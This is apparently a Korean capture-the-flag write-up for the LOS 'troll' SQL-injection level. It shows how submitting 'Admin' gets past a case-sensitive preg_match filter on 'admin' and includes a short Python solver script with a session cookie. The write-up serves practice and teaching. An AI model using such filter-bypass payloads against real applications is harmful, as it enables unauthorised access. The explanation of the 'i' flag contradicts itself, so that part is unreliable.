문제
문제 분석
id에 "admin" , "'"(싱글쿼터)를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.
이때 admin이 필터링 되어있어 이를 우회하는게 핵심이다.
문제 풀이
preg_match 함수를 보면 preg_match("/admin/", $_GET[id]) 이렇게 되어있는데 "/admin/i" 이처럼 i가 없으면 대소문자를 구분하지 않기때문에 대문자를 사용해서 admin을 Admin 으로 바꿔주면 된다
SQL쿼리는 대소문자를 구별하지 않는다
문제 정답
URL?id=Admin
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
data={}
#싱글쿼터 우회 아님
data['id']="Admin" # 대소문자 구분 못함. pregmatch 뒤에 i 있으면 구분 없으면 구분 안해줌
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")
'LOS-write up' 카테고리의 다른 글
LOS 10(skeleton) (0) | 2021.01.03 |
---|---|
LOS 9(vampire) (0) | 2021.01.03 |
LOS 7(orge) (0) | 2021.01.03 |
LOS 6(darkelf) (0) | 2021.01.03 |
LOS 5(wolfman) (0) | 2021.01.03 |